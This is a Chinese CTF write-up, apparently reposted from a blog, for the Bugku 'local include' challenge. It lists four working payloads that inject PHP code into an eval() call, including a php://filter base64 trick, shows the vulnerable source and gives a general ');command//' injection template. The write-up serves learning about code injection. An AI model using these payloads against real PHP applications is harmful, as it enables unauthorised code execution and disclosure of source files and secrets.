zoukankan      html  css  js  c++  java
  • bugku_本地包含

    先上payload:

    1、?hello=);show_source(%27flag.php%27);//

    2、?hello=);include $_POST['zzz'];//

    POST传参:zzz=php://filter/read=convert.base64-encode/resource=flag.php

    3、?hello=file(%27flag.php%27)

    4、?hello=show_source('flag.php')

    首先我们来看源码:

    <?php
    	include "flag.php";  //flag存储在flag.php这个脚本里,但是被注释掉了,我们需要把flag.php的源码整个显示出来
    	$a = @$_REQUEST['hello'];  //无论是以POST还是GET方式,都可以给$a赋值
    	eval("var_dump($a);")  //var_dump可以输出变量的类型和值,详见手册
    	show_source(__FILE__);
    ?>
    

     出现了include/require这两个函数,就是典型的文件包含攻击的漏洞了

    接下来是每个payload的原理分析:

    payload1:?hello=);show_source(%27flag.php%27);//

    如果读者对SQL注入了解比较多,那么理解这种方式的原理可能相对来说就比较容易了。

    当代码第二行结束时,$a=);show_source(%27flag.php%27);//

    将其代入第三行:

    eval("var_dump();show_source(%27flag.php%27);//);")

    eval会执行代码,那么脚本里面执行的也就是:

    var_dump();show_source(%27flag.php%27);//)

    如果还看不清楚,那我把它分开来写:

    var_dump();
    show_source('flag.php');
    //)

    看懂了吧?

    所以说,这种攻击方式和SQL注入的payload很像:
    );”负责把前面的命令闭合掉

    //”负责把原来命令的残余部分注释掉

    中间的那部分就是我们希望执行的命令,这是典型的“命令注入”式的攻击方式!

    所以payload的格式是:
    );the_command_that_you_want_to_execute//

  • 相关阅读:
    Linux eclipse 编译C++
    poj2774 Long Long Message(后缀数组or后缀自动机)
    ural 1297 Palindrome(Manacher模板题)
    bzoj 2049 Cave 洞穴勘测(LCT)
    codeforces 519E A and B and Lecture Rooms(LCA,倍增)
    hdu3830 (二分+LCA)
    codeforces 337D Book of Evil(dp)
    codeforces 22C System Administrator(构造水题)
    codeforces 144D Missile Silos(最短路)
    codeforces 505B Mr. Kitayuta's Colorful Graph(水题)
  • 原文地址:https://www.cnblogs.com/huangming-zzz/p/9885018.html
Copyright © 2011-2022 走看看